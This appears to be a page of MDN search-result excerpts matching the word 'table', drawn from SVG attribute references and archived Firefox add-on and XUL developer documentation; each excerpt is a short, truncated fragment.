.... if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is accep
table in all cases. the attribute evaluates to "true" if one of the language tags indicated by user preferences is a case-insensitive match or prefix (followed by a "-") of one of the language tags given in the value of this parameter. otherwise it evaluates to "false". note: the prefix matching rule does not imply that if a user understands a language with a certain tag, that the user will also unde...
text-anchor - SVG: Scalable Vector Graphics
for an element with a direction property value of ltr (typical for most european languages), the left side of the text is rendered at the initial text position. for an element with a direction property value of rtl (typical for arabic and hebrew), the right si...
... specification status comment scalable vector graphics (svg) 2the definition of 'text-anchor' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-anchor' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-anchorchrome ? edge ...
text-rendering - SVG: Scalable Vector Graphics
optimizespeed this value indicates that the user agent shall emphasize rendering speed over legibility and geometric precision. this option will sometimes cause some use...
...ions specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-renderingchrome ? edge ...
to - SVG: Scalable Vector Graphics
th="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation. ...
... specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification. ...
values - SVG: Scalable Vector Graphics
ate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, values is a list of values defining the sequence of values over the course of the animation. if this attribute is specified, any from, to, and by attribute values set on the element are ignored. value <list-of-values> default value none anima
table no <list-of-values> the value holds a semicolon-separated list of one or more values. the type of the values is defined by the href and attributename attributes. fecolormatrix for the <fecolormatrix> element, values is a list of numbers interpreted differently depending on the value of the type attribute. value <list-of-numbers> default value if type="matr...
...attributename attributes. fecolormatrix for the <fecolormatrix> element, values is a list of numbers interpreted differently depending on the value of the type attribute. value <list-of-numbers> default value if type="matrix", identity matrix, if type="saturate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix anima
table yes <list-of-numbers> the value is a list of numbers, which is interpreted differently depending on the value of the type attribute: for type="matrix", values is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ... a34), separated by whitespace and/or a comma. for type="saturate", values is a single real number value (0 to 1). for type="huerotate", values is a singl...
vert-adv-y - SVG: Scalable Vector Graphics
the vert-adv-y attribute indicates the vertical advance after rendering a glyph in vertical orientation. three elements are using this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, vert-adv-y specifies the default vertical advance for a glyph in vertical orientation. ...
...ue 1 em as of units-per-em anima
table no <number> this value indicates the default vertical advance of the glyph in vertical direction glyph, missing-glyph for <glyph> and <missing-glyph> elements, vert-adv-y specifies the vertical advance for a glyph in vertical orientation. value <number> default value <font>ʼs vert-adv-y value anima
table no <number> this value indicates the vertical advance of the glyph in vertical direction specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification. recommendation initial definition for <glyph> and <missing-glyph> scal...
writing-mode - SVG: Scalable Vector Graphics
, writing-mode can be used as a css property. see the css writing-mode property for more information. as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> usage notes default value horizontal-tb value horizontal-tb | vertical-rl | vertical-lr anima
table yes horizontal-tb this value defines a top-to-bottom block flow direction. both the writing mode and the typographic mode are horizontal. vertical-rl this value defines a right-to-left block flow direction. both the writing mode and the typographic mode are vertical. vertical-lr this value defines a left-to-right block flow direction. both the writing mode and the typographic mod...
...-mode' in that specification. candidate recommendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'writing-mode' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-modechrome ? edge ...
x1 - SVG: Scalable Vector Graphics
<svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line. ...
...stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x1 defines the x coordinate of the starting point of the gradient vector used to map the gradient stop values. ...
x2 - SVG: Scalable Vector Graphics
} <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line. ...
...stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x2 defines the x coordinate of the ending point of the gradient vector used to map the gradient stop values. ...
xlink:title - SVG: Scalable Vector Graphics
the xlink:title attribute is used to describe the meaning of a link or resource in a human-readable fashion. the use of this information is highly dependent on the type of processing being done. it may be used, for example, to make titles available to applications used by visually impaired users, or to create a
table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource. note: new content should use a <title> child element rather than a xlink:title attribute. these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <se...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification. candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radial...
y1 - SVG: Scalable Vector Graphics
<svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line. ...
... stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> lineargradient for <lineargradient>, y1 defines the y coordinate of the starting point of the gradient vector used to map the gradient stop values. the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% anima
table yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to. --> <lineargradient y1="0%" id="g0"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-c...
y2 - SVG: Scalable Vector Graphics
<svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line. ...
...5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, y2 defines the y coordinate of the ending point of the gradient vector used to map the gradient stop values. the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% anima
table yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to. --> <lineargradient y2="0%" id="g0"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-co...
z - SVG: Scalable Vector Graphics
ting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fepointlight for <fepointlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element. ...
...he primitiveunits attribute on the <filter> element. value <number> default value 1 anima
table yes fespotlight for <fespotlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element. value <number> default value 1 anima
table yes specifications specification status comment filter effects module level 1the definition of 'z for <fepointlight>' in that specification. working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second editio...
SVG Attribute reference - SVG: Scalable Vector Graphics
endering slope spacing specularconstant specularexponent speed spreadmethod startoffset stddeviation stemh stemv stitchtiles stop-color stop-opacity strikethrough-position strikethrough-thickness string stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width style surfacescale systemlanguage t tabindex
tablevalues target targetx targety text-anchor text-decoration text-rendering textlength to transform transform-origin type u u1 u2 underline-position underline-thickness unicode unicode-bidi unicode-range units-per-em v v-alphabetic v-hanging v-ideographic v-mathematical values vector-effect version vert-adv-y vert-origin-x vert-origin-y viewbox viewtarget visib...
... stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-effect, visibility, word-spacing, writing-mode filters attributes filter primitive attributes height, result, width, x, y transfer function attributes type,
tablevalues, slope, intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by, autoreverse, accelerate, decelerate animation addition attributes additive,...
<polyline> - SVG: Scalable Vector Graphics
<polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; default value: ""; anima
table: yes pathlength this attribute lets specify the total length for the path, in user units. value type: <number> ; default value: none; anima
table: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event ...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number ...
Introduction - SVG: Scalable Vector Graphics
to the w3c and failed to be fully ratified. svg is supported by all major browsers. a downside is loading svg can be slow. svg does offer benefits, some of which include having a dom interface available for it, and not requiring third-party extensions. whether or not to use it often depends on your specific use case. basic ingredients html provides elements for defining headers, paragraphs,
tables, and so on. in much the same way svg provides elements for circles, rectangles, and simple and complex curves. a simple svg document consists of nothing more than the <svg> root element and several basic shapes that build a graphic together. in addition there is the <g> element, which is used to group several basic shapes together. starting from there, the svg image can become arbitrarily compl...
...e equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the svg specification or another specification that you are using along with svg (that is, javascript or css). svg is supported in all modern browsers and even a couple versions back in some cases. a fairly complete browser support
table can be found on can i use. firefox has supported some svg content since version 1.5, and that support level has been growing with each release since. hopefully, along with the tutorial here, mdn can help developers keep up with the differences between gecko and some of the other major implementations. before starting you should have a basic understanding of xml or another markup language such as...
Tutorials
hallenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful markup. intermediate level multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html
tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic
table markup, along with more complex features such as implementing captions and summaries. advanced level html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and ...
...rotation, skewing, scaling, and translation using css. css transitions css transitions, part of the draft css3 specification, provide a way to animate changes to css properties, instead of having the changes take effect instantly. quick guide to implement web fonts (with @font-face) the @font-face feature from css3 allows you to use custom typefaces on the web in an accessible, manipula
table, and scalable way. starting to write css an introduction to tools and methodologies to write more succinct, maintainable, and scalable css. canvas tutorial learn how to draw graphics using scripting using the canvas element. html5 doctor articles about using html5 right now. javascript tutorials introductory level javascript first steps in our first javascript module, we fi...
Classes and Inheritance - Archive of obsolete content
eturns false. the problem is that when we overrode the prototype of circle with an object whose prototype is the prototype of shape, we didn't correctly set its constructor property. this property is set automatically for the prototype property of a constructor, but not for objects created with object.create. the constructor property is supposed to be non-configurable, non-enumberable, and non-wri
table, so the correct way to define it is as follows: circle.prototype = object.create(shape.prototype, { constructor: { value: circle } }); overriding methods as a final example, we show how to override the stub implementation of the method draw in shape with a more specialized one in circle. recall that javascript returns the first property it finds when walking the prototype chai...
Private Properties - Archive of obsolete content
mmended to read the entire article. using prefixes a common technique to implement private properties is to prefix each private property name with an underscore. consider the following example: function point(x, y) { this._x = x; this._y = y; } the properties _x and _y are intended to be private, and should only be accessed by member functions. to make a private property readable/wri
table from any function, it's common to define getter/setter functions for the property, respectively: point.prototype.getx = function () { return this._x; }; point.prototype.setx = function (x) { this._x = x; }; point.prototype.gety = function () { return this._y; }; point.prototype.sety = function (y) { this._y = y; }; the above technique is simple and clearly expresses intent. ...
Module structure of the SDK - Archive of obsolete content
dules which the sdk provides, such as panel and page-mod. local modules: each of the javascript files under your add-on's "lib" directory. external modules: reusable modules developed and maintained outside the sdk, but usable by sdk-based add-ons. sdk modules the modules supplied by the sdk are divided into two sorts: high-level modules like panel and page-mod provide relatively simple, s
table apis for the most common add-on development tasks. low-level modules like heritage and namespace provide more powerful functionality, and are typically less s
table and more complex. to use sdk modules, you can pass require() a complete path, starting with "sdk", to the module you want to use. for high-level modules this is just sdk/<module_name>, and for low-level modules it is sdk/<path_to_mo...
Porting the Library Detector - Archive of obsolete content
the add-on is paul bakaus's library detector. the library detector tells you which javascript frameworks the current web page is using. it does this by checking whether particular objects that those libraries add to the global window object are defined. for example, if window.jquery is defined, then the page has loaded jquery. for each library that it finds, the library detector adds an icon representing that library to the status bar. ...
Two Types of Scripts - Archive of obsolete content
e sdk's modules such as page-mod and panel. content scripts may be supplied as literal strings or maintained in separate files and referenced by filename. if they are stored in separate files you should store them under the data directory under your add-on's root. to learn all about content scripts read the working with content scripts guide. api access for add-on code and content scripts the
table below summarizes the apis that are available to each type of script. api add-on code content script the global objects defined in the core javascript language, such as math, array, and json. see the reference at mdn. ✔ ✔ the require() and exports globals defined by version 1.0 of the commonjs module specification. you use require() to ...
context-menu - Archive of obsolete content
d in. e.g. text/html for html pages, application/xhtml+xml for xhtml, or image/jpeg if viewing an image directly. documenturl the url of the document the menu was invoked in. targetname the name of the dom element that the menu was invoked on, in lower-case. targetid the id attribute of the element that the menu was invoked on, or null if not set. isedi
table true if the menu was invoked in an edi
table element, and that element isn't disabled or read-only. this includes non-input elements with the contentedi
table attribute set to true. selectiontext the current selection as a text string, or null. if the menu was invoked in an input text box or area, this is the selection of that element, otherwise the selection in the contents of the ...
self - Archive of obsolete content
ata. note that the self module is completely different from the global self object accessible to content scripts, which is used by a content script to communicate with the add-on code. globals properties uri this property represents an add-on associated unique uri string. this uri can be used for apis which require a valid uri string, such as the passwords module. id this property is a prin
table string that is unique for each add-on. it comes from the id property set in the package.json file in the main package (i.e. the package in which you run jpm xpi). while not generally of use to add-on code directly, it can be used by internal api code to index local storage and other resources that are associated with a particular add-on. name this property contains the add-on's short name. it c...
High-Level APIs - Archive of obsolete content
addon-page create a page that does not contain navigational elements. base64 data encoding and decoding using base64 algorithms. clipboard interact with the system clipboard, setting and getting its contents. ...
/loader - Archive of obsolete content
gacy api via pseudo modules that eventually may be // replaced with a real ones :) "devtools/gcli": cu.import("resource:///modules/gcli.jsm", {}), "net/utils": cu.import("resource:///modules/netutil.jsm", {}) } }); loader instances the loader produces instances that are nothing more than representations of the environment into which modules are loaded. it is intentionally made immu
table and all its properties are just an implementation detail that no one should depend on, they may change at any point without any further notice. loading modules the commonjs specification defines the notion of a main module, which represents an entry point to a program. the loader module exposes a main() function that can be used to load a main module. all other modules will be loaded by this m...
core/heritage - Archive of obsolete content
.bark() : ''; }; since sdk apis may be interacting with untrusted code an extra security measures are required to guarantee that documented behavior can't be changed at runtime. to do that we need to freeze constructor's prototype chain to make sure functions are frozen: object.freeze(dog.prototype); object.freeze(pet.prototype); note: also, this is not quite enough as object.prototype stays mu
table & in fact we do little bit more in sdk to address that, but it's not in the scope of this documentation. doing all of this manually is both tedious and error prone task. that is why sdk provides utility functions to make it more declarative and less verbose. class module exports class utility function for making constructor functions with a proper prototype chain setup in declarative manner: ...
system/runtime - Archive of obsolete content
ype_default 0 the default (chrome) process. process_type_plugin 1 a plugin subprocess. process_type_content 2 a content subprocess. process_type_ipdlunittest 3 an ipdl unit testing subprocess. widgettoolkit a string identifying the target widget toolkit in use. xpcomabi a string identifying the abi of the current processor and compiler v
table. this string takes the form <processor>-<compilerabi>, for example: "x86-msvc" or "ppc-gcc3". ...
console - Archive of obsolete content
utput being written. but if the logging level is "warn" then only calls to warn() and error() have any effect, and calls to info() and log() are simply discarded. this means that the same code can be more verbose in a development environment than in a production environment - you just need to arrange for the appropriate logging level to be set. ...
jpm - Archive of obsolete content
ge manager like apt, install npm via that. for example, in an ubuntu or debian terminal window, enter sudo apt-get install nodejs nodejs-legacy npm. to test your installation, run: /usr/bin/env node -v if you get an error message saying /usr/bin/env: node: no such file or directory and you have installed nodejs through a package manager, nodejs may have been installed under a different execu
table name. to ensure compatibility with jpm, however, it must be present in your path under the name node. on debian and ubuntu, this can be remedied by ensuring you installed the compatibility package, nodejs-legacy: sudo apt-get install nodejs-legacy on other distributions, you may have to create a local symlink to nodejs manually: sudo ln -s "$(which nodejs)" /usr/local/bin/node installing jpm ...
Localization - Archive of obsolete content
plural forms in the sdk in the code, you supply an extra parameter alongside the identifier, describing how many items there are: var _ = require("sdk/l10n").get; console.log(_("tomato_id")); console.log(_("tomato_id", 1)); console.log(_("tomato_id", 2)); console.log(_("tomato_id", 5)); console.log(_("tomato_id", .5)); in the .properties file f...
File I/O - Archive of obsolete content
rce://gre/modules/netutil.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); // file is nsifile, data is a string // you can also optionally pass a flags parameter here. it defaults to // fileutils.mode_wronly | fileutils.mode_create | fileutils.mode_truncate; var ostream = fileutils.opensafefileoutputstream(file); var converter = components.classes["@mozilla.org/intl/scrip
tableunicodeconverter"]. createinstance(components.interfaces.nsiscrip
tableunicodeconverter); converter.charset = "utf-8"; var istream = converter.converttoinputstream(data); // the last argument (the callback) is optional. netutil.asynccopy(istream, ostream, function(status) { if (!components.issuccesscode(status)) { // handle error! return; } // data has been written t...
Examples and demos from articles - Archive of obsolete content
article] pure-css tooltips [html] this shows the use of the ::after pseudo-element in conjunction with the attr() css expression and a data-descr custom data attribute to create a pure-css, glossary-like tooltip. [article] pure-css lightbox [html] the :target pseudo-class is useful to switch on/off some invisible elements. in this way you can create a pure-css lightbox. [article] pure-css edi
table (pseudo)<select> [html] this example shows how it's possible to simulate an edi
table <select> through a fieldset of radioboxes and textboxes. [article] expandable elements [html] this example shows how it is possible to show/hide classes of elements in pure css. in this demo there is also an example of a "toggle button" rendered through a <label> element. [article] code snippets and tutorial...
HTML to DOM - Archive of obsolete content
that contain javascript. function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscrip
tableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a content-level (this is safer than chrome-level) <div> in the current page, then parsing the html fragment and attaching that fragment to the <div>. the <div> is returned, and it is never actually appended to the current page. the returned <body> object is of type element here is a sample ...
Common Pitfalls - Archive of obsolete content
_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g. it's something the user typed in the url bar). the one exception to all of the above, that is the one case in which creating a specific uri class via createinstance is accep
table, is when one is implementing a protocol handler's newuri method. in that case you may not be able to use the i/o service because that service calls the newuri method on the appropriate protocol handler, which may be your own handler. how to do security checks for uri loads before loading a uri, one of two security checks needs to be performed: if the uri is a string that will be loaded via p...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
to the name of your extension; they should be repeated in all project makefiles so that all of the files land in the same place in the xpi staging area (see below). install_extension_id is the unique id of your extension. this can be a guid, but the format shown above is prettier and, let's face it, a lot easier to remember. you don't have to provide an xpi_pkgname, but if you do an xpi file, sui
table for distribution, is automatically created in the root of the xpi staging area (/mozilla/$(moz_objdir)/dist/xpi-stage/). every extension must include an install.rdf file that tells firefox how to install it. this file should be located in the main extension directory and look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xm...
Default Preferences - Archive of obsolete content
file, despite having .js extension, is not a javascript file. you may not set variables inside of it, nor may do any kind of program flow control (ifs, loops etc.) nor even calculated values (i.e. 3600 * 24 * 5). doing so will cause mozilla to stop processing your preferences file without any notification, warning, error, or exception. think of it more as an .ini file. comments are perfectly accep
table. inside your file you set preferences using the pref() function: pref("name", "value") example: pref('extensions.defaultprefs.example.int', 1); pref('extensions.defaultprefs.example.float', 0.1); pref('extensions.defaultprefs.example.string', 'fadf'); pref('extensions.defaultprefs.example.bool', true); notice that unlike when you're reading preferences, writing default preferences uses the sam...
Extension Etiquette - Archive of obsolete content
t ids, for instance, should always begin with an @, followed by a domain name that the author controls, e.g., "@example.com/foo/bar;1" it is important that the prefix that you use be unlikely to conflict with other code, and that it be indicative of the name of your add-on. generic prefixes such as myextension-, or short prefixes such as ffx-, are likely to be used elsewhere, and therefore unsui
table to the purpose. call .noconflict(true) where applicable many common libraries which create global variables provide a method called noconflict, or similar, which revert any global variables they've declared, and return the object itself. for instance, calling jquery.noconflict(true) will remove the window.jquery and window.$ variables, and return the jquery object itself, for future use by ...
How to convert an overlay extension to restartless - Archive of obsolete content
xpcom components of your own. some of that will have to be replaced and the rest will need to be loaded differently. next, what's the minimum version of firefox we should require (preferably an esr)? this guide targets firefox 17 esr or later (or anything else gecko 17+, such as seamonkey 2.14+). this is two esrs back (as of this writing), which should be plenty. using the current firefox esr, s
table version, or nightly is generally a better idea if given the option, but some users take forever to upgrade. there will be no usage of the add-on sdk or any other external libraries here. everything will use apis available in firefox 17+ or code provided here. step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascri...
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
endutf16toutf8(a16, a8) (a8).append(ns_convertutf16toutf8(a16)) and similarly for the other conversions. #define compare(str1, str2, comp) (str1).compare(str2, comp) #define last() endreading()[-1] #define setcharat(c, i) replace(i, 1, ch) #define ns_newisupportsarray(result) callcreateinstance(ns_supportsarray_contractid, static_cast<nsisupportsarray**>(result)); ideally we would switch to nsimu
tablearray, but in the mean time there's no point changing the same code twice. note: #include nsisupportsarray.h before nsmsgutils.h convenience methods that work using either api. msglowercaseequalsliteral(a8, literal) replaces (a8).lowercaseequalsliteral(literal). note that the external api provides lowercaseequalsliteral for nsastring, but not nsacstring. msgrfindchar(str, ch, len) replaces (str)...
Adding Events and Commands - Archive of obsolete content
content and behavior. also, note that the addeventlistener method receives the event name without the "on" prefix, while element attributes do have the prefix. there's a long list of events you can listen to, and which you use depend on the situation. elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. these are some no
table events you should keep in mind: oncommand. this is one of the most important and commonly used events in xul. it's very useful because it represents the most common action for input controls such as menu items, buttons and checkboxes. for a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the enter key. it's an abstraction of the m...
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
efox on all operating systems. the way icons are handled in firefox changed considerably after firefox 4, so supporting older versions is not mentioned here (you can check this document's change history for older revisions, though). these are the current icon sets for firefox: windows mac os x (lion and above) mac os x linux (gnome) note: the images above are probably not distribu
table under the same cc license, unlike the rest of this material. here are the key similarities and differences between the 3 themes: all systems use small icons that are 16x16 pixels. only the gnome theme has a set of large icons that are 24x24 pixels. only a few icons have different states (rows). the disabled state for most buttons is handled with css. the icon sets have different paddings f...
Adding sidebars - Archive of obsolete content
re needed. trees are specially powerful when combined with data templates, a topic that will be covered later on. you can also read much more about trees in the xul tutorial page. the tree element is possibly the most complex element in xul. it is meant to be very versatile and malleable, but it can require a good amount of work before it fits your specific needs. it is in reality a hierarchical
table view, so its content is defined in terms of rows and columns. here's an example of a simple tree: <tree flex="1"> <treecols> <treecol label="&xulschoolhello.namecolumn.label;" flex="1" /> <treecol label="&xulschoolhello.greetingcolumn.label;" flex="3" /> </treecols> <treechildren> <treeitem> <treerow> <treecell label="peter" /> <treecell label="hey, what...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
code to run. the current version number can be hard-coded in the first run function, or you can use the add-on manager to dynamically get it. this can get tricky with the firefox 4 addonmanager, so it's probably best to keep it simple. uninstall scripts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form. regarding local data, it is deba
table if it is good practice to remove it or not. if an add-on is uninstalled and later installed again, it might be desirable for preferences and other settings to be kept. another argument in favor of keeping that data is that firefox doesn't delete its profile folders after it is uninstalled, so it would be consistent to keep it. on the other hand, local data that is no longer needed takes unnecessa...
Appendix D: Loading Scripts - Archive of obsolete content
n/javascript;version=1.8" src="overlay.js"/> </overlay> evalinsandbox the components.utils.evalinsandbox method may be used to load arbitrary code into components.utils.sandbox objects. javascript files or urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest. this is the method used by jetpack's securable module system to load nearly all execu
table code. advantages namespacing: since scripts executed via evalinsandbox run in a defined namespace, global namespace contamination and the resultant extension compatibility issues are not usually a problem. flexibility: the evalinsandbox method accepts several parameters, including the url, line number, and javascript version of the file from which the code being evaluated was extracted. this...
Introduction - Archive of obsolete content
the mozilla project, the mozilla foundation, the mozilla corporation and the old mozilla browser. even firefox is sometimes referred to as "mozilla". if you're unfamiliar with these terms, it's good that you take some time and learn a little about mozilla. this will help you understand the culture that surrounds the mozilla community. mozilla has spawned several products and projects, the most no
table being the mozilla firefox web browser. firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open source with the focus on user experience and powerful outreach more commonly seen in less open companies. version 1.0 of firefox was released in november 2004, version 2.0 in october 2006, and version 3.0 in june 200...
JavaScript Object Management - Archive of obsolete content
a fictitious user class for the hello world extension. using the function keyword to define a class is odd, but this is just the javascript way: functions are also objects. the definition of the class acts as a constructor as well, and then you can define all other members using the prototype attribute. in this case we defined "getter" properties for the name and url members. this way we have immu
table instances of our class. well, only if consumers of the class play nice and don't change anything they shouldn't. creating an instance and using it is simple enough: let user = new 〈modulenamespace〉.user("pete", "http://example.com/pete"); window.alert(user.name); this is something you can do with js in general. you can use it in jsm, chrome, even on regular web pages. since entities ...
The Box Model - Archive of obsolete content
ase for xul, except there are two flexibility directions to consider. an hbox is as big as its contents horizontally, but it will occupy all the available space vertically. you can make an hbox flexible horizontally with the css property -moz-box-flex or the flex attribute. the same applies to a vbox, but in the other direction. unlike most style attributes, the flex attribute is considered accep
table to use in xul code. this is because this attribute is used much too often, and it would require a great deal of css code to avoid using it. at any rate, it can always be overriden using css, so your extension won't lose skinability because of it. flexibility is defined as a numeric value. the default value for most elements is 0, which means that the element will not stretch in the direction of ...
User Notifications and Alerts - Archive of obsolete content
on the user needs to know and can't get in any other way. custom alerts creating custom solutions for alerting the user is not complicated, given the advantages of xul overlays and css positioning. however, these solutions are prone to be buggy and have accessibility issues. you should use the 2 alternatives mentioned above whenever possible. if none of those fit your needs then this is an accep
table solution. an easy way to display alerts is to include a hidden box in your overlay, which you can fill with any content you need before removing the hidden attribute so that it is displayed to the user. the best locations for this kind of box are above and below the tab browser. below is preferrable because it only cuts the bottom part of the current page, as opposed to pushing down all tabs and...
Security best practices in extensions - Archive of obsolete content
there are a number of ways of remote scripts being used in extensions. they can be included in content, or downloaded at intervals. non-chrome urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not accep
